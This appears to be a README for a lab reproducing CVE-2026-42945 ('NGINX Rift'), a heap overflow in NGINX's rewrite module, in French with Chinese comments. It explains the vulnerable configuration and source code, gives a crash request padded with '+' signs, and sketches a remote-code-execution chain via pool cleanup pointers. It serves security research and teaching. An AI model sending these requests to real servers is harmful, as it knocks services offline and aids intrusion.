
NGINX Rift 漏洞分析与复现
CVE-2026-42945 (nom de code « NGINX Rift ») est une vulnérabilité de dépassement de tampon de tas dans le module ngx_http_rewrite_module de NGINX, avec un score CVSS v4 de 9,2 (Critique).
Cette vulnérabilité a été découverte par l'équipe de recherche en sécurité depthfirst en avril 2026. Elle est restée latente pendant 18 ans depuis son introduction dans la version 0.6.27 de NGINX en 2008.
La vulnérabilité nécessite le modèle de configuration NGINX suivant pour être déclenchée :
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true;
set $original_endpoint $1;
}
Conditions clés :
rewrite contient ? (point d'interrogation)set ultérieure référence un groupe de capture d'expression régulière (comme $1)+, &, %, etc.)Le moteur de scripts de NGINX utilise un traitement en deux phases pour exécuter les directives rewrite/set :
Le cœur de la vulnérabilité réside dans une incohérence d'état du moteur entre les deux phases :
rewrite définit le drapeau is_argsLorsque la chaîne de remplacement de la directive rewrite contient ?, la fonction ngx_http_script_start_args_code définit :
void ngx_http_script_start_args_code(ngx_http_script_engine_t *e)
{
e->is_args = 1; // 永久设置,从不重置!
e->args = e->pos;
e->ip += sizeof(uintptr_t);
}
set utilise un sous-moteur entièrement neufLorsqu'une directive set ultérieure référence un groupe de capture, ngx_http_script_complex_value_code crée un sous-moteur entièrement à zéro :
void ngx_http_script_complex_value_code(ngx_http_script_engine_t *e)
{
ngx_http_script_engine_t le;
// ...
ngx_memzero(&le, sizeof(ngx_http_script_engine_t)); // le.is_args = 0
le.ip = code->lengths->elts;
Calcul de longueur (avec le sous-moteur le, is_args=0) :
// ngx_http_script_copy_capture_len_code
if ((e->is_args || e->quote) && (e->request->quoted_uri || e->request->plus_in_uri))
{
// is_args=0,条件为 false,走 else 分支
return cap[n + 1] - cap[n]; // 返回原始长度(未转义)
}
Copie réelle (avec le moteur principal e, is_args=1) :
// ngx_http_script_copy_capture_code
if ((e->is_args || e->quote) && (e->request->quoted_uri || e->request->plus_in_uri))
{
// is_args=1,条件为 true,走 if 分支
e->pos = (u_char *) ngx_escape_uri(pos, &p[cap[n]],
cap[n + 1] - cap[n],
NGX_ESCAPE_ARGS);
// 每个可转义字符从 1 字节扩展为 3 字节!
}
raw_size (longueur de capture d'origine)raw_size + 2 * N (N = nombre de caractères échappables)Par exemple, si l'URI contient 100 signes +, le dépassement est de 200 octets.
La méthode d'exploitation la plus simple : envoyer une requête contenant un grand nombre de caractères échappables suffit à provoquer le crash du processus worker :
GET /api/+++++++++++++++++++++++++++++++++++ HTTP/1.1
Host: target.com
Chaîne d'exploitation RCE complète (nécessite ASLR désactivé ou contourné) :
ngx_pool_t via l'ordre des connexionscleanup : le débordement atteint les structures adjacentes du pool mémoiresystem()ngx_destroy_poolL'architecture multiprocessus de NGINX rend l'exploitation plus fiable : après le crash d'un worker, le master crée un nouveau worker par fork avec une disposition mémoire identique.
README.md - ce fichier, document d'analyse de la vulnérabilitéDockerfile - construit l'environnement NGINX vulnérablenginx.conf - configuration NGINX déclenchant la vulnérabilitépoc_crash.py - PoC DoS (déclenche le crash du worker)docker-compose.yml - démarre l'environnement de test en une commande# 1. 构建并启动易受攻击的 NGINX
docker-compose up -d
# 2. 运行 DoS PoC
python3 poc_crash.py
# 3. 查看 NGINX 错误日志确认崩溃
docker-compose logs nginx
Ce document est fourni uniquement à des fins de recherche en sécurité et d'éducation. N'utilisez pas ces informations pour des attaques non autorisées.